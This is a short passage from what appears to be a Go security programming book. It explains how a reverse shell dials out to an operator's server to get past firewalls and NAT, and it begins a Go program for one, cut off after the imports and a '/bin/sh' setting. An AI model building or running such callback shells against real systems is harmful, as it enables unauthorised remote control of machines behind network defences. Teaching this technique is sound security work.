Reverse bind shells overcome the firewall and NAT issue. Instead of listening for incoming connections, it dials out to a remote server (one you control and are listening on). When you get the connection on your machine, you have a shell that is running on the computer behind the firewall.
This example uses plaintext TCP sockets, but you can easily swap net.Dial() with tls.Dial(). Chapter 6, Cryptography, has examples of a TLS client and server if you want to modify these examples to use TLS.
// Call back to a remote server and open a shell sessionpackage mainimport ( "fmt" "log" "net" "os" "os/exec")var shell = "/bin/sh"func main() { // Handle command line arguments if len(os.Args) < 2 { fmt.Println("Usage: " ...
